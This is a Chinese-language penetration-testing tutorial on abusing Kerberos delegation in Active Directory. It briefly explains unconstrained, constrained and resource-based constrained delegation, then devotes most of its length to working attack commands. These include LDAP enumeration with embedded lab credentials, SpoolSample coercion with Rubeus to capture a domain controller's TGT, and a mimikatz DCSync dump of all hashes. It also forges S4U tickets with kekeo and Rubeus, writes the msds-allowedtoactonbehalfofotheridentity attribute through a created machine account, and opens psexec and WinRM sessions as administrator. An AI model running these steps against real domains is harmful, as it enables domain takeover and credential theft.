域內委派攻擊
委派
將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動,接受委派的用戶只能是服務賬戶或者主機賬戶。
域委派存在三種類型,非約束委派、約束委派、基於資源的約束委派。
Client 需要通過HTTP訪問sqlserver 服務器,但HTTP並沒有訪問sqlserver的權限,這時候HTTP就需要Client的身份去訪問sqlserver ,然後再將請求返回給Client
非約束委派
對於非約束性委派(Unconstrained Delegation),
服務賬號可以獲取被委派用戶的TGT,並將TGT緩存到LSASS進程中,從而服務賬號可使用該TGT,模擬用戶訪問任意服務。配置了非約束委派的賬戶的userAccountControl
屬性有個FLAG位TRUSTED_FOR_DELEGATION
。非約束委派的設置需要SeEnableDelegation
特權,該特權通常僅授予域管理員 。
無約束委派****(Unconstrained Delegation)是一種風險性極大的委派方式,它通過TGT轉發使服務器具有模擬用戶的能力。服務賬戶根據用戶發給自己的可轉發的TGT代表用戶請求其他任何服務,由此可知,一旦開啓了無約束委派的服務賬戶被攻陷,用戶身份將被濫用。
約束委派
爲了解決無約束委派的問題,微軟更新發布了Kerberos協議拓展S4U,該拓展包含兩個協議:傳統的約束委派(Constrained Delegation,****aka S4U2Proxy)和協議轉換****(Protocol Transition, aka S4U2Self)
即爲允許通過dc的憑據訪問到alerter服務。
如圖中Web Server 需要使用Sql server數據庫以用戶身份進行訪問。通過設置約束委派,可以讓Web Server模擬用戶訪問Sql server並且獲取對應資源。
創建spn服務賬戶
setspn -A http/iis testuser
查詢服務賬戶
setspn -u testuser
設置了服務用戶testuser對DC的cifs服務的委派
基於資源委派
傳統的約束委派中仍然存在一些缺點,如無法進行跨域委派。
配置受約束的委派,必須擁有SeEnableDelegation特權,該特權是敏感的,通常僅授予域管理員。爲了使用戶/資源更加獨立,Windows Server 2012中引入了基於資源的約束委派。基於資源的約束委派允許資源配置受信任的帳戶委派給他們。
基於資源的約束委派只能在運行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中應用
與約束委派最大的不同點,在設置相關的約束委派的實現的時候不再需要域管理員自己去設置相關約束委派的屬性,而操作權落在了當前登錄的機器或者用戶的手中
ADFind
查詢非約束委派的主機
AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查詢非約束委派的服務賬戶
AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置約束委派用戶
AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置約束委派的主機:
AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
指定賬戶密碼
adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
PowerView
查找域中配置非約束委派用戶
Get-NetUser -Unconstrained -Domain nncm.com |select name
查找域中配置非約束委派的主機
Get-NetComputer -Unconstrained -Domain nncm.com | select name
查找域中配置約束委派用戶
Get-DomainUser –TrustedToAuth -domain nncm.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置約束委派的主機:
Get-DomainComputer -TrustedToAuth -Domain nncm.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
ldapsearch
查找域中配置非約束委派的用戶
ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=test,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置非約束委派的主機
ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=administrator,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置約束委派用戶
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds- allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
查找域中配置約束委派的主機:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x2,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
非約束委派+Spooler利用
https://github.com/leechristensen/SpoolSample
Rubeus.exe monitor /interval:1 /filteruser:DC01$
在機器上以管理員權限執行以下命令,監聽來自DC機器的相關信息
SpoolSample.exe DC01 WIN-TVHO4UIFMBT
利用SpoolSample強制讓DC訪問WIN-TVHO4UIFMBT機器,抓取票據
Rubeus導入獲取到的TGT票據
Rubeus.exe ptt /ticket:抓取下來的票據base64內容
或使用powershell命令轉成文件格式進行憑據導入
[IO.File]::WriteAllBytes("C:\Users\Public\ticket.k
irbi", [Convert]::FromBase64String("base64憑據內容"))
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"
約束委派利用
需要獲取一個約束委派的賬戶密碼或NTLM HASH
攻擊流程:
- 服務1 使用自己的hash向KDC申請一個TGT票據,注意在KDC Option裏面選擇forwardable標誌
位,這樣的話請求的TGT票據就是可轉發的TGT票據。命令:
tgt::ask /user:user0x2 /domain:networksec.loacl /password:password. /ticket:test.kirbi
-
服務1 代表用戶申請一個獲得針對服務1自身的ST服務票據(這一步就是S4U2Self),這一步生成的ST服務票據是可轉發的
-
服務1 拿着上一步這個ST服務票據向KDC請求訪問特定服務的可轉發的TGS(S4U2Proxy),並且代表用戶訪問特定服務,而且只能訪問該特定服務。第2/3步命令:
Tgs::s4u /tgt:[email protected][email protected] i /user:[email protected] /service:cifs/user0x2.networksec.loacl
在約束委派的情況下,服務用戶只能獲取某個用戶(或主機)的服務的ST,所以只能模擬用戶訪問特定的服務,是無法獲取用戶的TGT,如果我們能獲取到開啓了約束委派的服務用戶的明文密碼或者NTLM Hash,我們就可以僞造S4U請求,進而僞裝成服務用戶以任意賬戶的權限申請訪問某服務的ST已經知道服務用戶明文的條件下,我們可以用kekeo請求該用戶的TGT,首先查詢域內配置了約束性委派的服務賬號。
使用kekeo
tgt::ask /user:testuser /domain:nncm.com /password:Xx110110110. /ticket:wptgt.kirbi
#如果已知的是服務賬號的NTLM Hash,則如下
tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi
或使用
Rubeus.exe asktgt /user:testuser /domain:nncm.com /password:明文密碼
# 如果已知的是服務賬號的NTLM Hash,則如下
Rubeus.exe asktgt /user:testuser /domain:nncm.com /rc4:NTLM HASH
執行完成kekeo命令會得到服務用戶TGT:
Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DC01.nncm.com
執行完成後會生成2個票據,進行清空票據後導入
klist purge
kerberos:ptt xxx.kirbi
資源約束委派攻擊
powerview
Get-ObjectAcl -SamAccountName "testuser" -ResolveGUIDs | out-file save.txt
查詢一個域用戶最多可以創建多少臺計算機
Get-DomainObject -Identity "dc=nncm,dc=com" -Domain nncm.com
這個值表示的是允許用戶在域中創建的計算機帳戶數,默認爲10,這意味着我們如果擁有一個普通的域用戶那麼我們就可以利用這個用戶最多可以創建十個新的計算機帳戶
爲什麼需要這個呢?這裏還需要引出一個S4U2Self其中的一個知識點
因爲基於資源的約束委派中需要用到S4U2Self和S4U2Proxy,又因爲S4U2Self只適用於具有SPN的賬戶,恰好的是在域中有一個屬性MachineAccountQuota,所以就需要通過MachineAccountQuota來創建一個SPN的賬戶來進行委派配合
,而計算機賬戶默認是註冊RestrictedKrbHost/domain和HOST/domain這兩個SPN的
知識點:
1、傳統的約束委派S4U2Self返回的票據一定是可轉發的(Forwardable標記),如果不可轉發那麼S4U2Proxy將失敗;但是基於資源的約束委派不同,就算S4U2Self返回的票據不可轉發(可不可以轉發由TrustedToAuthenticationForDelegation決定),S4U2Proxy也是可以成功,並且S4U2Proxy返回的票據總是可轉發。
查詢目標機的msds-allowedtoactonbehalfofotheridentity是否被寫入
Get-NetComputer WIN-TVHO4UIFMBT | Select-Object -Property name, msds-allowedtoactonbe
halfofotheridentity
或打開ADSI進行查看
創建一個計算機用戶
New-MachineAccount -MachineAccount gg -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
查詢新創建的計算機用戶的SID
爲gg計算機主體創建一個新的原始安全描述符
Get-DomainComputer gg -Properties objectsid | Select -Expand objectsid
#獲取我們添加的新計算機的SID
#S-1-5-21-3719624404-3157586140-4111374611-1602
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3719624404-3157586140-4111374611-1602)"
#使用此計算機帳戶作爲主體來構建新的原始安全描述符
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#獲取SDDL的二進制字節
Get-DomainComputer WIN-TVHO4UIFMBT | Set-DomainObject -Set @{'msds-allowedtoactonbeha
lfofotheridentity'=$SDBytes} -Verbose
#爲 msds-allowedtoactonbehalfofotheridentity 設置新的安全描述符
Rubeus.exe hash /user:gg /password:123456 /domain:nncm
Rubeus.exe s4u /user:gg$ /domain:nncm.com /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrato/msdsspn:cifs/gg.nncm.com /ptt
可以看到這裏獲取到了一個cifs的票據,注入到了內存中。這樣就可以訪問到gg.nncm.com了
psexec.py -dc-ip 192.168.201.11 nncm/[email protected] -k -no-pass
我們知道獲取什麼服務就提供什麼功能,假如對方主機開啓了遠程管理服務(WinRM)的時候,並且我們知道WinRM是通過HTTP和HTTPS來進行通信的。那麼就是需要申請相對於的服務票據,我們可以通過請求HTTP和WSMAN的服務票據,利用Powershell Remoting以域管理員身份連接到目標主機,不用使用其他工具。
Rubeus.exe s4u /user:admin0x1$ /rc4:8F36F32A9708E03A03461EB8720DD0B /domain:one.com /msdsspn:http/dm.one.com /impersonateuser:administrator /ptt
Rubeus.exe s4u /user:admin0x1$ /rc4:8F36F32A9708E03A03461EB8720DD0B /domain:one.com /msdsspn:wsman/dm.one.com /impersonateuser:administrator /ptt
接着就可以使用WinRM來連接到對方的主機了。
New-PSSession -Name Priv -ComputerName dm.one.com
Enter-PSSession -Name Priv
當administrator用戶被設置成了敏感賬號不能被委派的時候,在使用Rubeus進行票據請求的時候
S4U2Self是請求成功了。但是S4U2Proxy卻是失敗了。前提是利用條件需要有對方機器的hash,一般情
況下主機在加入域中會隨機設置主機賬戶的密碼,所以一般情況下用的是主機賬戶hash,並且你是不能
修改主機賬戶的密碼,否則該主機就會和域失去信任。
因爲S4U2Self請求的票據不可轉發,導致的原因。查看一些票據,這裏
顯示是不可轉發的一個票據,也就是設置的administrator用戶不可委派的效果。並且該票據沒有有效的
服務名稱,並且不可轉發。
Rebeus加入了一個模塊可以直接修改票據的SPN
Rubeus.exe s4u /user:gg$ /domain:nncm.com /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrato/msdsspn:cifs/gg.nncm.com /altservice:cifs,host /ptt